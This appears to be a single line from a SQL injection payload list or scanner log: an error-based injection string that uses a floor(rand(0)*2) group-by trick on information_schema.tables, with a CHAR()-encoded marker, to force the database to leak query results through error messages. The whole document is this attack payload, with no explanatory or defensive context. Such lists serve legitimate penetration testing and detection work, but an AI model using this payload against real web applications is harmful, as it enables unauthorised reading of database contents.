"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(109),CHAR(67),CHAR(68),CHAR(57),CHAR(99),CHAR(77),CHAR(54)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"